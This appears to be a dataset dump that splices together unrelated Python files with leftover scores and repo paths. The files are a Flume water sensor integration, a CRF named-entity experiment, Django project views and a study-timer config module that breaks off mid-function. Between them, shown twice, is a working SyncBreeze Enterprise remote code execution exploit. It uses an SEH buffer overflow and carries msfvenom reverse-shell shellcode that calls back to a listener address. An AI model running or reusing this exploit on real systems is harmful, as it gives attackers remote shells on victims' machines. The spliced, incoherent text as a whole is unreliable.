username, password, client_id, client_secret, flume_token_file
)
for device in flume_devices.device_list:
if device["type"] == FLUME_TYPE_SENSOR:
flume = FlumeData(
username,
password,
client_id,
client_secret,
device["id"],
time_zone,
SCAN_INTERVAL,
flume_token_file,
)
flume_entity_list.append(FlumeSensor(flume, f"{name} {device['id']}"))
if flume_entity_list:
add_entities(flume_entity_list, True)
class FlumeSensor(Entity):
"""Representation of the Flume sensor."""
def __init__(self, flume, name):
"""Initialize the Flume sensor."""
self.flume = flume
self._name = name
self._state = None
@property
def name(self):
"""Return the name of the sensor."""
return self._name
@property
def state(self):
"""Return the state of the sensor."""
return self._state
@property
def unit_of_measurement(self):
"""Return the unit the value is expressed in."""
return "gal"
def update(self):
"""Get the latest data and updates the states."""
self.flume.update()
self._state = self.flume.value | 0.629661 | 0.080973 |
import argparse
import time as money
import wrappers.wrapper_CRF as crf_
import wrappers.wrapper_pretrained as pretrained_
import functions
import load_save
from seqeval.metrics import classification_report, f1_score
parser = argparse.ArgumentParser(prog="PROG")
parser.add_argument(
"--config-path",
required=True,
type=str,
help="Configuration file path to use, \
seed, UMAP and HDBSCAN parameters",
)
args = parser.parse_args()
config_path = args.config_path
cfg = load_save.load_config_from(config_path, AL=False)
random_seed = cfg["seed"]
[tknzd_sent_train, tags_train, pos_train], [
tknzd_sent_test,
tags_test,
pos_test,
] = load_save.load_data(cfg)
(
embeddings_train,
pretrained_tknzd_train,
tknzd_sent_train,
y_train,
pos_train,
) = pretrained_.get_embeddings(
cfg, tknzd_sent_train, tags_train, pos_train, part="train"
)
(
embeddings_test,
pretrained_tknzd_test,
tknzd_sent_test,
y_test,
pos_test,
) = pretrained_.get_embeddings(cfg, tknzd_sent_test, tags_test, pos_test, part="test")
embeddings_train_r, embeddings_test_r = functions.reduce_embeddings(
cfg,
embeddings_train,
embeddings_test,
)
embedding_dim = embeddings_train_r[0][0].shape[0]
load_save.write_ft_config(cfg)
feature_cfg = load_save.load_ft_config(cfg)
X_test = crf_.sent2features(
feature_cfg,
tknzd_sent_test,
generator=cfg["generator"],
embeddings=embeddings_test_r,
pos=pos_test,
)
X_train = crf_.sent2features(
feature_cfg,
tknzd_sent_train,
generator=cfg["generator"],
embeddings=embeddings_train_r,
pos=pos_train,
)
start = money.time()
print("CRF training.\n")
crf_trained = crf_.train_crf(cfg, X_train, y_train)
print("CRF testing.\n")
y_pred = crf_trained.predict(X_test)
report = classification_report(y_test, y_pred)
print(report)
end = money.time()
load_save.save_crf_model(cfg, crf_trained, 0)
load_save.save_results(
cfg,
[report, start - end, f1_score(y_test, y_pred)],
[f1_score(y_test, y_pred)],
[],
[],
) | anelfop/pl_experiment.py | import argparse
import time as money
import wrappers.wrapper_CRF as crf_
import wrappers.wrapper_pretrained as pretrained_
import functions
import load_save
from seqeval.metrics import classification_report, f1_score
parser = argparse.ArgumentParser(prog="PROG")
parser.add_argument(
"--config-path",
required=True,
type=str,
help="Configuration file path to use, \
seed, UMAP and HDBSCAN parameters",
)
args = parser.parse_args()
config_path = args.config_path
cfg = load_save.load_config_from(config_path, AL=False)
random_seed = cfg["seed"]
[tknzd_sent_train, tags_train, pos_train], [
tknzd_sent_test,
tags_test,
pos_test,
] = load_save.load_data(cfg)
(
embeddings_train,
pretrained_tknzd_train,
tknzd_sent_train,
y_train,
pos_train,
) = pretrained_.get_embeddings(
cfg, tknzd_sent_train, tags_train, pos_train, part="train"
)
(
embeddings_test,
pretrained_tknzd_test,
tknzd_sent_test,
y_test,
pos_test,
) = pretrained_.get_embeddings(cfg, tknzd_sent_test, tags_test, pos_test, part="test")
embeddings_train_r, embeddings_test_r = functions.reduce_embeddings(
cfg,
embeddings_train,
embeddings_test,
)
embedding_dim = embeddings_train_r[0][0].shape[0]
load_save.write_ft_config(cfg)
feature_cfg = load_save.load_ft_config(cfg)
X_test = crf_.sent2features(
feature_cfg,
tknzd_sent_test,
generator=cfg["generator"],
embeddings=embeddings_test_r,
pos=pos_test,
)
X_train = crf_.sent2features(
feature_cfg,
tknzd_sent_train,
generator=cfg["generator"],
embeddings=embeddings_train_r,
pos=pos_train,
)
start = money.time()
print("CRF training.\n")
crf_trained = crf_.train_crf(cfg, X_train, y_train)
print("CRF testing.\n")
y_pred = crf_trained.predict(X_test)
report = classification_report(y_test, y_pred)
print(report)
end = money.time()
load_save.save_crf_model(cfg, crf_trained, 0)
load_save.save_results(
cfg,
[report, start - end, f1_score(y_test, y_pred)],
[f1_score(y_test, y_pred)],
[],
[],
) | 0.39222 | 0.266119 |
import sys, socket, struct
try:
host = sys.argv[1]
port = int(sys.argv[2])
except IndexError:
print "Usage: %s <target> <port>" % sys.argv[0]
print "Example: %s 192.168.0.16 80" % sys.argv[0]
sys.exit(0)
print "[->] Attacking %s:%d get that handler up" % (host,port)
# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.16 LPORT=443
# -e x86/alpha_upper -b "\x00\x0a\x0d" -f c
shellcode = (
"\x89\xe3\xda\xdf\xd9\x73\xf4\x5e\x56\x59\x49\x49\x49\x49\x43"
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34"
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41"
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58"
"\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x5a\x48\x4c\x42\x33\x30"
"\x35\x50\x53\x30\x33\x50\x4b\x39\x4a\x45\x46\x51\x39\x50\x35"
"\x34\x4c\x4b\x30\x50\x46\x50\x4c\x4b\x46\x32\x44\x4c\x4c\x4b"
"\x36\x32\x42\x34\x4c\x4b\x53\x42\x46\x48\x54\x4f\x4e\x57\x30"
"\x4a\x56\x46\x56\x51\x4b\x4f\x4e\x4c\x37\x4c\x55\x31\x43\x4c"
"\x34\x42\x36\x4c\x47\x50\x59\x51\x58\x4f\x44\x4d\x43\x31\x38"
"\x47\x4d\x32\x5a\x52\x50\x52\x46\x37\x4c\x4b\x30\x52\x42\x30"
"\x4c\x4b\x31\x5a\x37\x4c\x4c\x4b\x50\x4c\x54\x51\x54\x38\x4b"
"\x53\x30\x48\x55\x51\x38\x51\x50\x51\x4c\x4b\x51\x49\x37\x50"
"\x35\x51\x59\x43\x4c\x4b\x50\x49\x54\x58\x4b\x53\x57\x4a\x30"
"\x49\x4c\x4b\x46\x54\x4c\x4b\x53\x31\x59\x46\x50\x31\x4b\x4f"
"\x4e\x4c\x59\x51\x48\x4f\x34\x4d\x45\x51\x38\x47\x57\x48\x4b"
"\x50\x53\x45\x5a\x56\x43\x33\x53\x4d\x4c\x38\x47\x4b\x43\x4d"
"\x46\x44\x53\x45\x4a\x44\x36\x38\x4c\x4b\x31\x48\x46\x44\x35"
"\x51\x4e\x33\x52\x46\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x50\x58"
"\x45\x4c\x33\x31\x48\x53\x4c\x4b\x44\x44\x4c\x4b\x43\x31\x58"
"\x50\x4c\x49\x50\x44\x36\x44\x36\x44\x51\x4b\x51\x4b\x35\x31"
"\x31\x49\x31\x4a\x36\x31\x4b\x4f\x4d\x30\x31\x4f\x51\x4f\x31"
"\x4a\x4c\x4b\x55\x42\x5a\x4b\x4c\x4d\x31\x4d\x32\x48\x46\x53"
"\x50\x32\x53\x30\x35\x50\x33\x58\x34\x37\x34\x33\x30\x32\x31"
"\x4f\x56\x34\x53\x58\x50\x4c\x33\x47\x46\x46\x45\x57\x4b\x4f"
"\x39\x45\x38\x38\x5a\x30\x35\x51\x45\x50\x35\x50\x36\x49\x49"
"\x54\x46\x34\x46\x30\x35\x38\x37\x59\x4d\x50\x42\x4b\x33\x30"
"\x4b\x4f\x59\x45\x56\x30\x56\x30\x30\x50\x36\x30\x47\x30\x36"
"\x30\x57\x30\x46\x30\x42\x48\x5a\x4a\x44\x4f\x39\x4f\x4d\x30"
"\x4b\x4f\x4e\x35\x5a\x37\x43\x5a\x44\x45\x32\x48\x39\x50\x4f"
"\x58\x45\x50\x42\x30\x32\x48\x43\x32\x43\x30\x45\x51\x4f\x4b"
"\x4d\x59\x4a\x46\x43\x5a\x32\x30\x31\x46\x51\x47\x43\x58\x4d"
"\x49\x4e\x45\x54\x34\x33\x51\x4b\x4f\x48\x55\x4d\x55\x49\x50"
"\x54\x34\x34\x4c\x4b\x4f\x50\x4e\x55\x58\x43\x45\x4a\x4c\x33"
"\x58\x4c\x30\x38\x35\x4e\x42\x31\x46\x4b\x4f\x49\x45\x43\x58"
"\x55\x33\x52\x4d\x33\x54\x35\x50\x4d\x59\x5a\x43\x46\x37\x30"
"\x57\x51\x47\x50\x31\x5a\x56\x32\x4a\x52\x32\x51\x49\x36\x36"
"\x4d\x32\x4b\x4d\x52\x46\x4f\x37\x51\x54\x31\x34\x37\x4c\x33"
"\x31\x55\x51\x4c\x4d\x50\x44\x31\x34\x42\x30\x58\x46\x33\x30"
"\x47\x34\x31\x44\x46\x30\x31\x46\x56\x36\x46\x36\x51\x56\x46"
"\x36\x50\x4e\x50\x56\x56\x36\x31\x43\x30\x56\x53\x58\x32\x59"
"\x58\x4c\x47\x4f\x4b\x36\x4b\x4f\x4e\x35\x4c\x49\x4b\x50\x30"
"\x4e\x46\x36\x50\x46\x4b\x4f\x36\x50\x42\x48\x53\x38\x4b\x37"
"\x35\x4d\x45\x30\x4b\x4f\x59\x45\x4f\x4b\x4c\x30\x38\x35\x4f"
"\x52\x56\x36\x33\x58\x4f\x56\x4a\x35\x4f\x4d\x4d\x4d\x4b\x4f"
"\x48\x55\x57\x4c\x34\x46\x33\x4c\x34\x4a\x4d\x50\x4b\x4b\x4d"
"\x30\x44\x35\x33\x35\x4f\x4b\x51\x57\x34\x53\x42\x52\x42\x4f"
"\x53\x5a\x35\x50\x46\x33\x4b\x4f\x48\x55\x41\x41"
)
# objdump2shellcode -d shellcode -f python -c -v jumpcode
jumpcode = ""
jumpcode += "\x25\x4a\x4d\x4e\x55" # and eax,0x554e4d4a
jumpcode += "\x25\x35\x32\x31\x2a" # and eax,0x2a313235
jumpcode += "\x2d\x37\x37\x37\x37" # sub eax,0x37373737
jumpcode += "\x2d\x74\x74\x74\x74" # sub eax,0x74747474
jumpcode += "\x2d\x55\x54\x55\x70" # sub eax,0x70555455
jumpcode += "\x50" # push eax
jumpcode += "\x25\x4a\x4d\x4e\x55" # and eax,0x554e4d4a
jumpcode += "\x25\x35\x32\x31\x2a" # and eax,0x2a313235
jumpcode += "\x2d\x2d\x76\x7a\x63" # sub eax,0x637a762d
jumpcode += "\x2d\x2d\x76\x7a\x30" # sub eax,0x307a762d
jumpcode += "\x2d\x25\x50\x7a\x30" # sub eax,0x307a5025
jumpcode += "\x50" # push eax
jumpcode += "\xff\xe4" # jmp esp
offset = "A" * (2495-len(shellcode)) # offset to nSEH
nSEH = "\x74\x06\x75\x06" # JE/JNZ -> jumpcode
SEH = struct.pack('<L', 0x1001C65C) # POP,POP,RET (libspp.dll)
trigger = "D" * (9067 - len(
jumpcode +
offset +
nSEH +
SEH
)
)
buffer = shellcode + offset + nSEH + SEH + jumpcode + trigger
vulnREQ = "GET /%s HTTP/1.1\r\n\r\n" % (buffer)
print "[->] sending poisonous bamboo"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
sock.send(vulnREQ) | Personal-Exploits/SyncBreeze Enterprise v10.1.16 - Unauthenticated RCE/sploit-PoC.py |
import sys, socket, struct
try:
host = sys.argv[1]
port = int(sys.argv[2])
except IndexError:
print "Usage: %s <target> <port>" % sys.argv[0]
print "Example: %s 192.168.0.16 80" % sys.argv[0]
sys.exit(0)
print "[->] Attacking %s:%d get that handler up" % (host,port)
# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.16 LPORT=443
# -e x86/alpha_upper -b "\x00\x0a\x0d" -f c
shellcode = (
"\x89\xe3\xda\xdf\xd9\x73\xf4\x5e\x56\x59\x49\x49\x49\x49\x43"
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34"
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41"
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58"
"\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x5a\x48\x4c\x42\x33\x30"
"\x35\x50\x53\x30\x33\x50\x4b\x39\x4a\x45\x46\x51\x39\x50\x35"
"\x34\x4c\x4b\x30\x50\x46\x50\x4c\x4b\x46\x32\x44\x4c\x4c\x4b"
"\x36\x32\x42\x34\x4c\x4b\x53\x42\x46\x48\x54\x4f\x4e\x57\x30"
"\x4a\x56\x46\x56\x51\x4b\x4f\x4e\x4c\x37\x4c\x55\x31\x43\x4c"
"\x34\x42\x36\x4c\x47\x50\x59\x51\x58\x4f\x44\x4d\x43\x31\x38"
"\x47\x4d\x32\x5a\x52\x50\x52\x46\x37\x4c\x4b\x30\x52\x42\x30"
"\x4c\x4b\x31\x5a\x37\x4c\x4c\x4b\x50\x4c\x54\x51\x54\x38\x4b"
"\x53\x30\x48\x55\x51\x38\x51\x50\x51\x4c\x4b\x51\x49\x37\x50"
"\x35\x51\x59\x43\x4c\x4b\x50\x49\x54\x58\x4b\x53\x57\x4a\x30"
"\x49\x4c\x4b\x46\x54\x4c\x4b\x53\x31\x59\x46\x50\x31\x4b\x4f"
"\x4e\x4c\x59\x51\x48\x4f\x34\x4d\x45\x51\x38\x47\x57\x48\x4b"
"\x50\x53\x45\x5a\x56\x43\x33\x53\x4d\x4c\x38\x47\x4b\x43\x4d"
"\x46\x44\x53\x45\x4a\x44\x36\x38\x4c\x4b\x31\x48\x46\x44\x35"
"\x51\x4e\x33\x52\x46\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x50\x58"
"\x45\x4c\x33\x31\x48\x53\x4c\x4b\x44\x44\x4c\x4b\x43\x31\x58"
"\x50\x4c\x49\x50\x44\x36\x44\x36\x44\x51\x4b\x51\x4b\x35\x31"
"\x31\x49\x31\x4a\x36\x31\x4b\x4f\x4d\x30\x31\x4f\x51\x4f\x31"
"\x4a\x4c\x4b\x55\x42\x5a\x4b\x4c\x4d\x31\x4d\x32\x48\x46\x53"
"\x50\x32\x53\x30\x35\x50\x33\x58\x34\x37\x34\x33\x30\x32\x31"
"\x4f\x56\x34\x53\x58\x50\x4c\x33\x47\x46\x46\x45\x57\x4b\x4f"
"\x39\x45\x38\x38\x5a\x30\x35\x51\x45\x50\x35\x50\x36\x49\x49"
"\x54\x46\x34\x46\x30\x35\x38\x37\x59\x4d\x50\x42\x4b\x33\x30"
"\x4b\x4f\x59\x45\x56\x30\x56\x30\x30\x50\x36\x30\x47\x30\x36"
"\x30\x57\x30\x46\x30\x42\x48\x5a\x4a\x44\x4f\x39\x4f\x4d\x30"
"\x4b\x4f\x4e\x35\x5a\x37\x43\x5a\x44\x45\x32\x48\x39\x50\x4f"
"\x58\x45\x50\x42\x30\x32\x48\x43\x32\x43\x30\x45\x51\x4f\x4b"
"\x4d\x59\x4a\x46\x43\x5a\x32\x30\x31\x46\x51\x47\x43\x58\x4d"
"\x49\x4e\x45\x54\x34\x33\x51\x4b\x4f\x48\x55\x4d\x55\x49\x50"
"\x54\x34\x34\x4c\x4b\x4f\x50\x4e\x55\x58\x43\x45\x4a\x4c\x33"
"\x58\x4c\x30\x38\x35\x4e\x42\x31\x46\x4b\x4f\x49\x45\x43\x58"
"\x55\x33\x52\x4d\x33\x54\x35\x50\x4d\x59\x5a\x43\x46\x37\x30"
"\x57\x51\x47\x50\x31\x5a\x56\x32\x4a\x52\x32\x51\x49\x36\x36"
"\x4d\x32\x4b\x4d\x52\x46\x4f\x37\x51\x54\x31\x34\x37\x4c\x33"
"\x31\x55\x51\x4c\x4d\x50\x44\x31\x34\x42\x30\x58\x46\x33\x30"
"\x47\x34\x31\x44\x46\x30\x31\x46\x56\x36\x46\x36\x51\x56\x46"
"\x36\x50\x4e\x50\x56\x56\x36\x31\x43\x30\x56\x53\x58\x32\x59"
"\x58\x4c\x47\x4f\x4b\x36\x4b\x4f\x4e\x35\x4c\x49\x4b\x50\x30"
"\x4e\x46\x36\x50\x46\x4b\x4f\x36\x50\x42\x48\x53\x38\x4b\x37"
"\x35\x4d\x45\x30\x4b\x4f\x59\x45\x4f\x4b\x4c\x30\x38\x35\x4f"
"\x52\x56\x36\x33\x58\x4f\x56\x4a\x35\x4f\x4d\x4d\x4d\x4b\x4f"
"\x48\x55\x57\x4c\x34\x46\x33\x4c\x34\x4a\x4d\x50\x4b\x4b\x4d"
"\x30\x44\x35\x33\x35\x4f\x4b\x51\x57\x34\x53\x42\x52\x42\x4f"
"\x53\x5a\x35\x50\x46\x33\x4b\x4f\x48\x55\x41\x41"
)
# objdump2shellcode -d shellcode -f python -c -v jumpcode
jumpcode = ""
jumpcode += "\x25\x4a\x4d\x4e\x55" # and eax,0x554e4d4a
jumpcode += "\x25\x35\x32\x31\x2a" # and eax,0x2a313235
jumpcode += "\x2d\x37\x37\x37\x37" # sub eax,0x37373737
jumpcode += "\x2d\x74\x74\x74\x74" # sub eax,0x74747474
jumpcode += "\x2d\x55\x54\x55\x70" # sub eax,0x70555455
jumpcode += "\x50" # push eax
jumpcode += "\x25\x4a\x4d\x4e\x55" # and eax,0x554e4d4a
jumpcode += "\x25\x35\x32\x31\x2a" # and eax,0x2a313235
jumpcode += "\x2d\x2d\x76\x7a\x63" # sub eax,0x637a762d
jumpcode += "\x2d\x2d\x76\x7a\x30" # sub eax,0x307a762d
jumpcode += "\x2d\x25\x50\x7a\x30" # sub eax,0x307a5025
jumpcode += "\x50" # push eax
jumpcode += "\xff\xe4" # jmp esp
offset = "A" * (2495-len(shellcode)) # offset to nSEH
nSEH = "\x74\x06\x75\x06" # JE/JNZ -> jumpcode
SEH = struct.pack('<L', 0x1001C65C) # POP,POP,RET (libspp.dll)
trigger = "D" * (9067 - len(
jumpcode +
offset +
nSEH +
SEH
)
)
buffer = shellcode + offset + nSEH + SEH + jumpcode + trigger
vulnREQ = "GET /%s HTTP/1.1\r\n\r\n" % (buffer)
print "[->] sending poisonous bamboo"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
sock.send(vulnREQ) | 0.074101 | 0.263801 |
from django.shortcuts import render,redirect,get_object_or_404
from django.contrib.auth.forms import UserCreationForm
from django.http import HttpResponseRedirect,HttpResponse, Http404
from django.contrib.auth import login, authenticate
from django.contrib.auth.decorators import login_required
from django.contrib.auth.models import User
from .forms import SignUpForm,ProjectForm,UpdateUserProfileForm,RateForm
from rest_framework import status,viewsets
from rest_framework.response import Response
from rest_framework.views import APIView
from .models import Profile,Project,Rate
from .serializer import ProfileSerializer,ProjectSerializer
from django.urls import reverse
# Create your views here.
def home(request):
projects = Project.objects.all()
rates = Rate.objects.all()
users = User.objects.exclude(id=request.user.id)
form = ProjectForm(request.POST or None, files=request.FILES)
if form.is_valid():
project=form.save(commit=False)
project.user = request.user.profile
project.save()
return redirect('home')
context = {
'projects': projects,
'form': form,
'users':users,
'rates':rates,
}
return render(request, 'home.html', context)
return render(request,'home.html')
def signup(request):
if request.method == 'POST':
form = SignUpForm(request.POST)
if form.is_valid():
name = form.cleaned_data['username']
email = form.cleaned_data['email']
form.save()
return redirect("/")
else:
form = SignUpForm()
return render(request, 'register/register.html', {'form': form})
def search_project(request):
rates = Rate.objects.all()
if 'searchproject' in request.GET and request.GET["searchproject"]:
search_term = request.GET.get("searchproject")
searched_project = Project.search_by_name(search_term)
message = f"{search_term}"
context = {'projects':searched_project,'message': message}
return render(request, "search.html",context)
else:
message = "You haven't searched for any term"
return render(request, 'search.html',{"message":message})
@login_required(login_url='login')
def profile(request, username):
projects = request.user.profile.projects.all()
if request.method == 'POST':
prof_form = UpdateUserProfileForm(request.POST, request.FILES, instance=request.user.profile)
if prof_form.is_valid():
prof_form.save()
return redirect(request.path_info)
else:
prof_form = UpdateUserProfileForm(instance=request.user.profile)
if request.method == "POST":
form = ProjectForm(request.POST or None, files=request.FILES)
if form.is_valid():
project = form.save(commit=False)
project.user = request.user.profile
project.save()
else:
form = ProjectForm()
context = {
'prof_form': prof_form,
'projects': projects,
'form':form,
}
return render(request, 'profile.html', context)
@login_required(login_url='login')
def project(request,id):
project = Project.objects.get(id =id)
rates = Rate.objects.order_by('-date')
current_user = request.user
if request.method == 'POST':
form = RateForm(request.POST)
if form.is_valid():
design = form.cleaned_data['design']
usability = form.cleaned_data['usability']
content = form.cleaned_data['content']
rate = Rate()
rate.project = project
rate.user = current_user
rate.design = design
rate.usability = usability
rate.content = content
rate.average = (rate.design + rate.usability + rate.content)/3
rate.save()
return HttpResponseRedirect(reverse('project', args=(project.id,)))
else:
form = RateForm()
context={"project":project,"rates":rates,"form":form}
return render(request, 'project.html',context)
class ProfileList(APIView):
def get(self, request, format=None):
all_profiles = Profile.objects.all()
serializers = ProfileSerializer(all_profiles, many=True)
return Response(serializers.data)
def post(self, request, format=None):
serializers = ProfileSerializer(data=request.data)
if serializers.is_valid():
serializers.save()
return Response(serializers.data, status=status.HTTP_201_CREATED)
return Response(serializers.errors, status=status.HTTP_400_BAD_REQUEST)
class ProjectList(APIView):
def get(self, request, format=None):
all_projects = Project.objects.all()
serializers = ProjectSerializer(all_projects, many=True)
return Response(serializers.data)
def post(self, request, format=None):
serializers = ProjectSerializer(data=request.data)
if serializers.is_valid():
serializers.save()
return Response(serializers.data, status=status.HTTP_201_CREATED)
return Response(serializers.errors, status=status.HTTP_400_BAD_REQUEST) | projectapp/views.py | from django.shortcuts import render,redirect,get_object_or_404
from django.contrib.auth.forms import UserCreationForm
from django.http import HttpResponseRedirect,HttpResponse, Http404
from django.contrib.auth import login, authenticate
from django.contrib.auth.decorators import login_required
from django.contrib.auth.models import User
from .forms import SignUpForm,ProjectForm,UpdateUserProfileForm,RateForm
from rest_framework import status,viewsets
from rest_framework.response import Response
from rest_framework.views import APIView
from .models import Profile,Project,Rate
from .serializer import ProfileSerializer,ProjectSerializer
from django.urls import reverse
# Create your views here.
def home(request):
projects = Project.objects.all()
rates = Rate.objects.all()
users = User.objects.exclude(id=request.user.id)
form = ProjectForm(request.POST or None, files=request.FILES)
if form.is_valid():
project=form.save(commit=False)
project.user = request.user.profile
project.save()
return redirect('home')
context = {
'projects': projects,
'form': form,
'users':users,
'rates':rates,
}
return render(request, 'home.html', context)
return render(request,'home.html')
def signup(request):
if request.method == 'POST':
form = SignUpForm(request.POST)
if form.is_valid():
name = form.cleaned_data['username']
email = form.cleaned_data['email']
form.save()
return redirect("/")
else:
form = SignUpForm()
return render(request, 'register/register.html', {'form': form})
def search_project(request):
rates = Rate.objects.all()
if 'searchproject' in request.GET and request.GET["searchproject"]:
search_term = request.GET.get("searchproject")
searched_project = Project.search_by_name(search_term)
message = f"{search_term}"
context = {'projects':searched_project,'message': message}
return render(request, "search.html",context)
else:
message = "You haven't searched for any term"
return render(request, 'search.html',{"message":message})
@login_required(login_url='login')
def profile(request, username):
projects = request.user.profile.projects.all()
if request.method == 'POST':
prof_form = UpdateUserProfileForm(request.POST, request.FILES, instance=request.user.profile)
if prof_form.is_valid():
prof_form.save()
return redirect(request.path_info)
else:
prof_form = UpdateUserProfileForm(instance=request.user.profile)
if request.method == "POST":
form = ProjectForm(request.POST or None, files=request.FILES)
if form.is_valid():
project = form.save(commit=False)
project.user = request.user.profile
project.save()
else:
form = ProjectForm()
context = {
'prof_form': prof_form,
'projects': projects,
'form':form,
}
return render(request, 'profile.html', context)
@login_required(login_url='login')
def project(request,id):
project = Project.objects.get(id =id)
rates = Rate.objects.order_by('-date')
current_user = request.user
if request.method == 'POST':
form = RateForm(request.POST)
if form.is_valid():
design = form.cleaned_data['design']
usability = form.cleaned_data['usability']
content = form.cleaned_data['content']
rate = Rate()
rate.project = project
rate.user = current_user
rate.design = design
rate.usability = usability
rate.content = content
rate.average = (rate.design + rate.usability + rate.content)/3
rate.save()
return HttpResponseRedirect(reverse('project', args=(project.id,)))
else:
form = RateForm()
context={"project":project,"rates":rates,"form":form}
return render(request, 'project.html',context)
class ProfileList(APIView):
def get(self, request, format=None):
all_profiles = Profile.objects.all()
serializers = ProfileSerializer(all_profiles, many=True)
return Response(serializers.data)
def post(self, request, format=None):
serializers = ProfileSerializer(data=request.data)
if serializers.is_valid():
serializers.save()
return Response(serializers.data, status=status.HTTP_201_CREATED)
return Response(serializers.errors, status=status.HTTP_400_BAD_REQUEST)
class ProjectList(APIView):
def get(self, request, format=None):
all_projects = Project.objects.all()
serializers = ProjectSerializer(all_projects, many=True)
return Response(serializers.data)
def post(self, request, format=None):
serializers = ProjectSerializer(data=request.data)
if serializers.is_valid():
serializers.save()
return Response(serializers.data, status=status.HTTP_201_CREATED)
return Response(serializers.errors, status=status.HTTP_400_BAD_REQUEST) | 0.394434 | 0.064359 |
import json
import os
import time
from pathlib import Path
import bin.ERRORS as error
data = {1:'name', 2:'session time', 3:'break time', 4:'bonus break time', 5:'long break time'}
version = 'v6.0.0 Alpha'
class Config():
def __init__(self, name='Joe', session_time=50, break_time=10, bonus_break=3, long_break=65):
try:
self.name = name
self.session_time = float(session_time)
self.break_time = float(break_time)
self.bonus_break = float(bonus_break)
self.long_break = float(long_break)
if self.session_time == 0:
self.co_efficent = 1
else:
self.co_efficent = 50 / float(session_time)
except ValueError:
error.error_CD()
else:
print('Your config has been loaded successfully!')
filename = 'bin/config.json'
def changelog():
s = True
while s:
print('type the following number to change the correct section')
for i in data.keys():
print(f'{i}: to change {data[i]}')
print(f"6: if you finished changing your config")
try:
t = int(input(''))
with open(filename, 'r') as f:
jpt = json.load(f)
if t == 6:
break
old_value = jpt[data[t]]
change = input(f'change {data[t]} value to ("{old_value}" is the old value): ')
if data[t] != 'name':
if not change.replace('.', '').isnumeric():
print('\nthats not a vaild number! please try again \n')
continue
jpt[data[t]] = change
print(f'\nYour {data[t]} has been changed from "{old_value}" to "{change}" successfully!')
time.sleep(0.5)
os.remove(filename)
with open(filename, 'w') as f:
json.dump(jpt, f, indent=4)
except (KeyError, ValueError):
print('This key doesnt exist please recheck the number you entered!')
config = Config(jpt[data[1]], jpt[data[2]], jpt[data[3]], jpt[data[4]], jpt[data[5]])
return config
def check(key, max):
try:
if int(key) < 1 or int(key) > max:
raise ValueError
except ValueError:
print('ErrorVE1 please retry and recheck your input!')
return False
else:
return True
def load_config():
if Path(filename).is_file():
with open(filename, 'r') as e:
try:
file = json.load(e)
except json.decoder.JSONDecodeError:
error.error_CD()
config = Config(file[data[1]], file[data[2]], file[data[3]], file[data[4]], file[data[5]])
key = input(
f'Hello {config.name}!! welcome back to studyNoter {version}!. please type \n 1 /if you would like to continue \n 2 /if you would like to change your config \n 3 /if you would like to go with default config \n 4 /if you would like to take a look at your config and reload \n ')
if not check(key, 4):
load_config()
else:
if key == '3':
config = Config()
elif key == '2':
config = changelog()
elif key == '4':
with open(filename, 'r') as nr:
nr = json.load(nr)
print(nr)
time.sleep(1)
load_config()
else:
key = input(f'Hello welcome to studyNoter {version}!. please type \n 1 /if you would like to go with default config Highly recommended \n 2 /if you would like to set your own config \n')
if not check(key, 2):
load_config()
else:
if key == '1':
config = Config()
else:
dicts = {}
for i in data.values():
t = True
while t:
set = input(f'set {i} value to: ')
if i != 'name':
if not set.replace('.', '').isnumeric():
print('thats not a number! please retry again')
continue
else:
dicts[i] = set
else:
dicts[i] = set
t = False
with open(filename, 'w') as g:
json.dump(dicts, g, indent=4)
config = Config(dicts[data[1]], dicts[data[2]], dicts[data[3]], dicts[data[4]], dicts[data[5]])
return config | bin/config.py | import json
import os
import time
from pathlib import Path
import bin.ERRORS as error
data = {1:'name', 2:'session time', 3:'break time', 4:'bonus break time', 5:'long break time'}
version = 'v6.0.0 Alpha'
class Config():
def __init__(self, name='Joe', session_time=50, break_time=10, bonus_break=3, long_break=65):
try:
self.name = name
self.session_time = float(session_time)
self.break_time = float(break_time)
self.bonus_break = float(bonus_break)
self.long_break = float(long_break)
if self.session_time == 0:
self.co_efficent = 1
else:
self.co_efficent = 50 / float(session_time)
except ValueError:
error.error_CD()
else:
print('Your config has been loaded successfully!')
filename = 'bin/config.json'
def changelog():
s = True
while s:
print('type the following number to change the correct section')
for i in data.keys():
print(f'{i}: to change {data[i]}')
print(f"6: if you finished changing your config")
try:
t = int(input(''))
with open(filename, 'r') as f:
jpt = json.load(f)
if t == 6:
break
old_value = jpt[data[t]]
change = input(f'change {data[t]} value to ("{old_value}" is the old value): ')
if data[t] != 'name':
if not change.replace('.', '').isnumeric():
print('\nthats not a vaild number! please try again \n')
continue
jpt[data[t]] = change
print(f'\nYour {data[t]} has been changed from "{old_value}" to "{change}" successfully!')
time.sleep(0.5)
os.remove(filename)
with open(filename, 'w') as f:
json.dump(jpt, f, indent=4)
except (KeyError, ValueError):
print('This key doesnt exist please recheck the number you entered!')
config = Config(jpt[data[1]], jpt[data[2]], jpt[data[3]], jpt[data[4]], jpt[data[5]])
return config
def check(key, max):
try:
if int(key) < 1 or int(key) > max:
raise ValueError
except ValueError:
print('ErrorVE1 please retry and recheck your input!')
return False
else:
return True
def load_config():
if Path(filename).is_file():
with open(filename, 'r') as e:
try:
file = json.load(e)
except json.decoder.JSONDecodeError:
error.error_CD()
config = Config(file[data[1]], file[data[2]], file[data[3]], file[data[4]], file[data[5]])
key = input(
f'Hello {config.name}!! welcome back to studyNoter {version}!. please type \n 1 /if you would like to continue \n 2 /if you would like to change your config \n 3 /if you would like to go with default config \n 4 /if you would like to take a look at your config and reload \n ')
if not check(key, 4):
load_config()
else:
if key == '3':
config = Config()
elif key == '2':
config = changelog()
elif key == '4':
